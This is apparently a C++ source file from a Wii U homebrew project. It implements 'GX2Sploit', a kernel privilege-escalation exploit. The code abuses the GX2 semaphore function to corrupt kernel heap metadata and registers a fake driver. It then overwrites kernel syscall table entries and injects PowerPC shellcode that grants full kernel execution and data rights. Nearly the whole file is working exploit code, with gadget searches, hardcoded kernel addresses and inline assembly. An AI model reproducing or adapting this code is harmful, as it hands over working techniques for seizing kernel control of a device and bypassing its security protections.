281 lines
10 KiB
C++
281 lines
10 KiB
C++
#include "gx2sploit.h"
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#include "ElfUtils.h"
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#include <coreinit/cache.h>
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#include <coreinit/core.h>
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#include <coreinit/debug.h>
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#include <coreinit/dynload.h>
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#include <coreinit/exit.h>
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#include <coreinit/memory.h>
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#include <coreinit/memorymap.h>
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#include <coreinit/thread.h>
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#include <cstring>
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#include <gx2/state.h>
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#include <malloc.h>
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#include <sysapp/launch.h>
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#include <utils/logger.h>
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#include <whb/log.h>
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#define JIT_ADDRESS 0x01800000
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#define KERN_HEAP 0xFF200000
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#define KERN_HEAP_PHYS 0x1B800000
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#define KERN_CODE_READ 0xFFF023D4
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#define KERN_CODE_WRITE 0xFFF023F4
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#define KERN_DRVPTR 0xFFEAB530
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#define STARTID_OFFSET 0x08
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#define METADATA_OFFSET 0x14
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#define METADATA_SIZE 0x10
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extern "C" void SCKernelCopyData(uint32_t addr, uint32_t src, uint32_t len);
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/* Find a gadget based on a sequence of words */
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static void *find_gadget(uint32_t code[], uint32_t length, uint32_t gadgets_start) {
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uint32_t *ptr;
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/* Search code before JIT area first */
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for (ptr = (uint32_t *) gadgets_start; ptr != (uint32_t *) JIT_ADDRESS; ptr++) {
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if (!memcmp(ptr, &code[0], length)) {
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return ptr;
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}
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}
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OSFatal("Failed to find gadget!");
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return NULL;
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}
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/* Chadderz's kernel write function */
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void __attribute__((noinline)) kern_write(const void *addr, uint32_t value) {
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asm volatile(
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"li 3,1\n"
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"li 4,0\n"
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"mr 5,%1\n"
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"li 6,0\n"
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"li 7,0\n"
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"lis 8,1\n"
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"mr 9,%0\n"
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"mr %1,1\n"
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"li 0,0x3500\n"
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"sc\n"
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"nop\n"
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"mr 1,%1\n"
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:
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: "r"(addr), "r"(value)
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: "memory", "ctr", "lr", "0", "3", "4", "5", "6", "7", "8", "9", "10",
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"11", "12");
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}
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extern "C" void OSSwitchSecCodeGenMode(int);
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int exploitThread(int argc, char **argv) {
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OSDynLoad_Module gx2_handle;
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OSDynLoad_Acquire("gx2.rpl", &gx2_handle);
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void (*pGX2SetSemaphore)(uint64_t * sem, int action);
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OSDynLoad_FindExport(gx2_handle, 0, "GX2SetSemaphore", (void **) &pGX2SetSemaphore);
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uint32_t set_semaphore = ((uint32_t) pGX2SetSemaphore) + 0x2C;
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uint32_t gx2_init_attributes[9];
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uint8_t *gx2CommandBuffer = (uint8_t *) memalign(0x40, 0x400000);
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gx2_init_attributes[0] = 1;
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gx2_init_attributes[1] = (uint32_t) gx2CommandBuffer;
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gx2_init_attributes[2] = 2;
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gx2_init_attributes[3] = 0x400000;
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gx2_init_attributes[4] = 7;
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gx2_init_attributes[5] = 0;
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gx2_init_attributes[6] = 8;
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gx2_init_attributes[7] = 0;
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gx2_init_attributes[8] = 0;
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GX2Init(gx2_init_attributes); //don't actually know if this is necessary? so temp? (from loadiine or hbl idk)
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/* Allocate space for DRVHAX */
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uint32_t *drvhax = (uint32_t *) OSAllocFromSystem(0x4c, 4);
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/* Set the kernel heap metadata entry */
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uint32_t *metadata = (uint32_t *) (KERN_HEAP + METADATA_OFFSET + (0x02000000 * METADATA_SIZE));
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metadata[0] = (uint32_t) drvhax;
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metadata[1] = (uint32_t) -0x4c;
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metadata[2] = (uint32_t) -1;
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metadata[3] = (uint32_t) -1;
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/* Find stuff */
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uint32_t gx2data[] = {0xfc2a0000};
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uint32_t gx2data_addr = (uint32_t) find_gadget(gx2data, 0x04, 0x10000000);
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uint32_t doflush[] = {0xba810008, 0x8001003c, 0x7c0803a6, 0x38210038, 0x4e800020, 0x9421ffe0, 0xbf61000c, 0x7c0802a6, 0x7c7e1b78, 0x7c9f2378, 0x90010024};
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void (*do_flush)(uint32_t arg0, uint32_t arg1) = (void (*)(uint32_t, uint32_t))(((uint32_t) find_gadget(doflush, 0x2C, 0x01000000)) + 0x14);
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/* Modify a next ptr on the heap */
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uint32_t kpaddr = KERN_HEAP_PHYS + STARTID_OFFSET;
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set_semaphore_phys(set_semaphore, kpaddr, gx2data_addr);
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set_semaphore_phys(set_semaphore, kpaddr, gx2data_addr);
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do_flush(0x100, 1);
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/* Register a new OSDriver, DRVHAX */
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char drvname[6] = {'D', 'R', 'V', 'H', 'A', 'X'};
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Register(drvname, 6, NULL, NULL);
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/* Use DRVHAX to install the read and write syscalls */
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uint32_t syscalls[2] = {KERN_CODE_READ, KERN_CODE_WRITE};
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DCFlushRange(syscalls, 0x04 * 2);
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/* Modify its save area to point to the kernel syscall table */
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drvhax[0x44 / 4] = KERN_SYSCALL_TBL_1 + (0x34 * 4);
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CopyToSaveArea(drvname, 6, syscalls, 8);
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drvhax[0x44 / 4] = KERN_SYSCALL_TBL_2 + (0x34 * 4);
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CopyToSaveArea(drvname, 6, syscalls, 8);
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drvhax[0x44 / 4] = KERN_SYSCALL_TBL_3 + (0x34 * 4);
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CopyToSaveArea(drvname, 6, syscalls, 8);
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drvhax[0x44 / 4] = KERN_SYSCALL_TBL_4 + (0x34 * 4);
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CopyToSaveArea(drvname, 6, syscalls, 8);
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drvhax[0x44 / 4] = KERN_SYSCALL_TBL_5 + (0x34 * 4);
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CopyToSaveArea(drvname, 6, syscalls, 8);
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/* Clean up the heap and driver list so we can exit */
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kern_write((void *) (KERN_HEAP + STARTID_OFFSET), 0);
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kern_write((void *) KERN_DRVPTR, drvhax[0x48 / 4]);
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// Install CopyData syscall
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kern_write((void *) (KERN_SYSCALL_TBL_1 + (0x25 * 4)), (uint32_t) 0x1800000);
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kern_write((void *) (KERN_SYSCALL_TBL_2 + (0x25 * 4)), (uint32_t) 0x1800000);
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kern_write((void *) (KERN_SYSCALL_TBL_3 + (0x25 * 4)), (uint32_t) 0x1800000);
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kern_write((void *) (KERN_SYSCALL_TBL_4 + (0x25 * 4)), (uint32_t) 0x1800000);
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kern_write((void *) (KERN_SYSCALL_TBL_5 + (0x25 * 4)), (uint32_t) 0x1800000);
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/* clean shutdown */
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GX2Shutdown();
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free(gx2CommandBuffer);
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return 0;
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}
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void KernelWriteU32(uint32_t addr, uint32_t value);
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extern "C" void SC_KernelCopyData(uint32_t dst, uint32_t src, uint32_t len);
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void KernelWrite(uint32_t addr, const void *data, uint32_t length) {
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// This is a hacky workaround, but currently it only works this way. ("data" is always on the stack, so maybe a problem with mapping values from the JIT area?)
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// further testing required.
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for (uint32_t i = 0; i < length; i += 4) {
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KernelWriteU32(addr + i, *(uint32_t *) (((uint32_t) data) + i));
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}
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}
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void KernelWriteU32(uint32_t addr, uint32_t value) {
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ICInvalidateRange(&value, 4);
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DCFlushRange(&value, 4);
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uint32_t dst = (uint32_t) OSEffectiveToPhysical(addr);
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uint32_t src = (uint32_t) OSEffectiveToPhysical((uint32_t) &value);
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SC_KernelCopyData(dst, src, 4);
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DCFlushRange((void *) addr, 4);
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ICInvalidateRange((void *) addr, 4);
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}
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static void SCSetupIBAT4DBAT5() {
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asm volatile("sync; eieio; isync");
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// Give our and the kernel full execution rights.
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// 00800000-01000000 => 30800000-31000000 (read/write, user/supervisor)
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unsigned int ibat4u = 0x008000FF;
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unsigned int ibat4l = 0x30800012;
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asm volatile("mtspr 560, %0"
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:
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: "r"(ibat4u));
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asm volatile("mtspr 561, %0"
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: "r"(ibat4l));
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// Give our and the kernel full data access rights.
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// 00800000-01000000 => 30800000-31000000 (read/write, user/supervisor)
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unsigned int dbat5u = ibat4u;
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unsigned int dbat5l = ibat4l;
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asm volatile("mtspr 570, %0"
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:
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: "r"(dbat5u));
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asm volatile("mtspr 571, %0"
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:
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: "r"(dbat5l));
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asm volatile("eieio; isync");
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}
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extern "C" void SC_0x36_SETBATS(void);
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int DoKernelExploit(void) {
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DEBUG_FUNCTION_LINE("Running GX2Sploit");
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/* Make a thread to modify the semaphore */
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OSThread *thread = (OSThread *) memalign(8, 0x1000);
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uint8_t *stack = (uint8_t *) memalign(0x40, 0x2000);
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OSSwitchSecCodeGenMode(0);
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memcpy((void *) 0x1800000, (void *) &SCKernelCopyData, 0x100);
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unsigned int setIBAT0Addr = 0x1800200;
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unsigned int *curAddr = (uint32_t *) setIBAT0Addr;
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curAddr[0] = 0x7C0006AC;
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curAddr[1] = 0x4C00012C;
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curAddr[2] = 0x7C7083A6;
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curAddr[3] = 0x7C9183A6;
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curAddr[4] = 0x7C0006AC;
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curAddr[5] = 0x4C00012C;
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curAddr[6] = 0x4E800020;
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DCFlushRange((void *) 0x1800000, 0x1000);
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ICInvalidateRange((void *) 0x1800000, 0x1000);
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OSSwitchSecCodeGenMode(1);
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if (OSCreateThread(thread, (OSThreadEntryPointFn) exploitThread, 0, NULL, stack + 0x2000, 0x2000, 0, 0x1) == 0) {
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OSFatal("Failed to create thread");
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}
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OSResumeThread(thread);
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OSJoinThread(thread, 0);
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free(thread);
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free(stack);
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unsigned char backupBuffer[0x40];
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uint32_t targetBuffer[0x40 / 4];
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uint32_t targetAddress = 0x017FF000;
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KernelWrite((uint32_t) backupBuffer, (void *) 0x017FF000, 0x40);
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targetBuffer[0] = 0x7c7082a6; // mfspr r3, 528
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targetBuffer[1] = 0x60630003; // ori r3, r3, 0x03
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targetBuffer[2] = 0x7c7083a6; // mtspr 528, r3
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targetBuffer[3] = 0x7c7282a6; // mfspr r3, 530
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targetBuffer[4] = 0x60630003; // ori r3, r3, 0x03
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targetBuffer[5] = 0x7c7283a6; // mtspr 530, r3
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targetBuffer[6] = 0x7c0006ac; // eieio
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targetBuffer[7] = 0x4c00012c; // isync
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targetBuffer[8] = 0x3c600000 | (((uint32_t) SCSetupIBAT4DBAT5) >> 16); // lis r3, setup_syscall@h
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targetBuffer[9] = 0x60630000 | (((uint32_t) SCSetupIBAT4DBAT5) & 0xFFFF); // ori r3, r3, setup_syscall@l
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targetBuffer[10] = 0x7c6903a6; // mtctr r3
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targetBuffer[11] = 0x4e800420; // bctr
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DCFlushRange(targetBuffer, sizeof(targetBuffer));
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KernelWrite((uint32_t) targetAddress, (void *) targetBuffer, 0x40);
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/* set our setup syscall to an unused position */
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kern_write((void *) (KERN_SYSCALL_TBL_1 + (0x36 * 4)), targetAddress);
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kern_write((void *) (KERN_SYSCALL_TBL_2 + (0x36 * 4)), targetAddress);
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kern_write((void *) (KERN_SYSCALL_TBL_3 + (0x36 * 4)), targetAddress);
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kern_write((void *) (KERN_SYSCALL_TBL_4 + (0x36 * 4)), targetAddress);
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kern_write((void *) (KERN_SYSCALL_TBL_5 + (0x36 * 4)), targetAddress);
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/* run our kernel code :) */
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SC_0x36_SETBATS();
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/* repair data */
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KernelWrite(targetAddress, backupBuffer, sizeof(backupBuffer));
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DCFlushRange((void *) targetAddress, sizeof(backupBuffer));
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DEBUG_FUNCTION_LINE("GX2Sploit done");
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return 1;
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}
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